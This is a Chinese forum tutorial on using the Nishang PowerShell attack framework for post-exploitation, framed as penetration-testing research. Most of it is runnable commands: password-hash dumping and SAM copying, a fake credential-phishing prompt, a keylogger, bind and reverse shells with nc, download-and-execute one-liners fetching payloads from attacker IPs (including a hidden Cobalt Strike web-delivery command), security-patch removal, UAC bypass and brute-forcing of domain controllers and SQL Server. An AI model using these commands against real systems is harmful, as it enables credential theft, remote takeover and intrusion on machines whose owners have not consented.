电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 1417 人浏览分享

内网工具研究---NiShangjavascript:;

[复制链接]
1417 0
前言

Nishang是一个基于PowerShell攻击脚本和有效载荷的框架和集合 支持使用PowerShell进行攻击性安全
渗透测试和红队合作 集成了框架 脚本和各种payload 包括下载 执行 后门 扫描 执行 解密 键盘记录等脚
本被广泛用于渗透测试的各个阶段。

工具链接:https://github.com/samratashok/nishang

Nishang目录介绍

ActiveDirectory:活动目录
Antak-WebShell:在内存中执行PowerShell脚本 运行命令 并使用此Webshell下载和上载文件。
Backdoors:一个后门 可以从第三方网站接收指令 并在内存中执行PowerShell脚本。
Bypass:实施公共已知方法来绕过
Client:客户端
Escalation:当需要权限时提权
Execution:命令执行(RCE)
Gather:信息收集
MITM:用于MITM攻击的本地HTTPS代理
Misc:脚本
Pivot:跳板、远程执行exe
Prasadhak:对照VirusTotal数据库检查正在运行的进程的运行哈希。
Scan:扫描
Shells:shell
Utility:杂项
Powerpreter:Meterpreter会话

124445gxqybidsygsns6bv.png


一、Nishang初步使用

执行get-host命令查看版本信息 Nishang需要Powershell版本在v3以上才能使用windows10自带的是5.1版本的

124452g13r3rrt63ta3uer.png

以管理员权限打开PowerShell,导入所有的脚本到当前的PowerShell会话中
Import-Module -verbose  .\nishang.psm1

124458b3bwjjj11jct1wwj.png

在PowerShell导入模块的时候是不允许的,在默认的设置  不允许任何脚本运行(Restricted)
所以我们需要修改权限为remotesigned
输入指令Set-ExecutionPolicy remotesigned。修改策略后就可以成功导入脚本

99.png
98.png

执行Get-Command -Module nishang
查看导入的模块中的脚本信息

97.png

二、利用Nishang进行信息收集

(1)执行Get-Information收集本机的信息(可以获取计算机上的大量信息 例如FTP访问 进程 计算
机配置信息无线网络和设备的信息、hosts信息等)

96.png

(2)执行Get-PassHashes抓取计算机的密码hash值信息
代码中定义的函数Get-PassHashes中定义了多个函数。在函数的最后调用DumpHashes作为入口函数。

95.png

Windows系统下的hash密码格式为(用户名称:RID:LM-HASH值:NT-HASH值)

94.png

(3)执行Get-PassHints获取用户的密码提示信息

93.png

(4)执行Check-VM用于检测当前的机器是否是一台已知的虚拟机
This is a Hyper-V machine.(结果不是一台虚拟机)
This is a VMWare machine.(如果是虚拟机会显示该结果)

92.png

5)执行Copy-VSS来复制出SAM文件
执行Copy-VSS会将SAM文件保存在当前路径下(/nishang-master)
执行Copy-VSS -DestinationDir C:\TEMP  指定保存文件的路径(必须是已经存在的路径)

91.png

90.png

(6)执行Invoke-CredentialsPhish用来欺骗用户输入账号密码信息
."C:\nishang-master\Gather\Invoke-CredentialsPhish.ps1"
Invoke-CredentialsPhish

89.png

执行后会弹出这个框欺骗用户去输入账号密码,只有当用户输入正确的账号密码后这个弹框才会消失
然后我们就可以在PowerShell端得到明文的管理员账号密码

88.png

(7)执行FireBuster ip  -port -Verbose进行端口扫描

87.png

(8)执行Keylogger.ps1保存用户的键盘记录,保存后的文本为key.log在
C:\Users\Administrator\AppData\Local\Temp目录下

86.png

83.png

接着使用Nishang Utility中的Parse_Keys来解析key.log文件,解析后的文件就存放着键盘记录
Parse_Keys .\key.log .\su.txt

82.png

三、利用Nishang实现交互式shell

参数介绍
-IPAddress  反向连接时需要连接到的IP地址
-Port  反向连接时是需要连接到的端口,选择-Bind选项时是需要监听的端口
-Reverse 反向连接
-Bind 正向连接用到的端口监听


基于TCP协议的交互式shell
正向连接(目标在外网而你在内网的时候)
(1)在目标机器运行脚本,执行监听端口(攻击机等会要连接该端口)
.\Invoke-PowerShellTcp.ps1
Invoke-PowerShellTcp -Bind -Port 5050

81.png

(2)在攻击机上使用nc工具正向连接目标机器
nc  -nv  192.168.98.101  5050
-n   直接使用IP地址,而不通过域名服务器
-v   显示指令执行过程

80.png

反向连接(目标在内网而你在外网的时候)
(1)在攻击机上执行nc命令,开启本地端口监听通道
Nc -lvp 5050
-l   使用监听模式,管控传入的资料
-v   显示指令执行过程
-p   设置本地主机使用的通信端口

69.png

(2)在目标机器上执行Invoke-PowerShellTcp -Reverse -IPAddress 192.168.170.128 -Port 5050 反向连接攻击机

68.png


基于UDP协议的交互式shell
正向连接(与基于TCP协议的步骤差不多,攻击机的nc命令改变一下)
目标机器执行Invoke-PowerShellUdp -Bind -Port 5555
攻击机执行nc -nvu 192.168.98.101  5555

67.png

反向连接(与基于TCP协议的步骤差不多,攻击机的nc命令改变一下)
目标机器执行Invoke-PowerShellUdp -Reverse -IPAddress 192.168.170.128 -Port 5555
攻击机执行nv -lup 5555

66.png

基于HTTP/HTTPS协议的交互式shell
(1)在攻击机上使用脚本Invoke-PoshRatHttp -IPAddress 192.168.98.101 -Port
4444(需要目标机器的ip和端口),然后就会生成一个poc

63.png

2)把poc放到目标机器的powershell上,即可造成反弹shell
IEX ((New-Object Net.WebClient).DownloadString('http://192.168.98.101:4444/connect'))

62.png

利用Cobalt Strike工具反弹shell
(1)先建立一个监听,然后在Attacks模块点击Scripted Web Delivery(s)选项 将建立的监听放到攻击模块中
之后就会生成一个PowerShell类型的反弹shell脚本
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloa
dstring('http://192.168.170.128:80/a'))"

61.png

将poc脚本放到目标机器上执行,就能够反弹shell到Cobalt Strike上 随后就能够进行一些
列的提权 抓取密码截取屏幕等操作
如果获取一定的权限(webshell、远程控制等),可以通过cmd打开powershell或者调
用powershell.exe程序执行脚本代码

60.png

39.png

38.png

获取目标机器的终端权限,执行cmd指令

36.png

截取目标机器的图片(Screenshots)

35.png

获取目标机器的hash值

33.png

四、权限提升

(1)尝试本地权限提升 在获取一定权限的情况下 帮助我们提升到System权限
在目标机器上执行Enable-DuplicateToken

32.png

(2)删除补丁,补丁可以用来修复系统漏洞等一系列漏洞问题 如果删除补丁就可能造成系统漏洞的再次利用
在目标机器上执行Remove Update
Remove-Update All     移除目标机器上的所有补丁
Remove-Update Security  移除目标机器上所有安全补丁
Remove-Update KB2761226 移除指定编号的补丁

31.png

(3)绕过UAC(Bypass UAC)
Invoke-PsUACme -Verbose使用Sysprep方法和默认的Payload执行
Invoke-PsUACme -method oobe -Verbose 使用oobe方法跟默认的payload执行
Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourE
ncodedPayload"使用oobe方法跟自制payload执行

30.png

Invoke-PsUACme模块使用来自于UACME项目的DLL来Bypass UAC

29.png

五、暴力破解

(1)Scan路径下的Invoke-BruteForce脚本可以对SQL Server域控制器 Web以及FTP进行暴力破解
ComputerName 用于指定对应服务的计算机名
UserList 用户名字典
PasswordList 密码字典
Service 服务类型(注意默认为:SQL)
StopOnSuccess 成功找到一个之后就停止执行
Invoke-BruteForce -ComputerName targetdomain.com -UserList C:testusers.txt -PasswordList C
:testwordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose  爆破域控制器
Invoke-BruteForce -ComputerName SQLServ01 -UserList C:testusers.txt -PasswordList C:test
wordlist.txt -Service SQL -Verbose  爆破SQL Server
cat C:testservers.txt | Invoke-BruteForce -UserList C:testusers.txt -PasswordList C:testw
ordlist.txt -Service SQL -Verbose   爆破server.txt中所有servers的SQL Server

爆破SQlServer示例
Invoke-BruteForce -ComputerName SQLServ01 -UserList C:wordlist1.txt -Pass
wordList C:wordlist2.txt -Service SQL -Verbose
28.png

(2)Invoke-PortScan对目标机器环境中的其他主机和端口进行枚举破解
StartAddress 扫描范围开始的地址
EndAddress 扫描范围结束的地址
ScanPort 进行端口扫描
Port 指定扫描的端口号

对目标范围192.168.98.1-196.168.98.254的机器进行枚举,看是否存在开启80端口的机器
Invoke-PortScan -StartAddress 192.168.98.1 -EndAddress 192.168.
98.254 -ResolveHost -ScanPort -Port 80

666.png

总结

当获取到一定权限的时候,Nishang基于PowerShell来操作指令,往往没有cmd限制的多利用Nishang
工具来进行横向渗透或者是提权等操作都是一个很好的选择。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.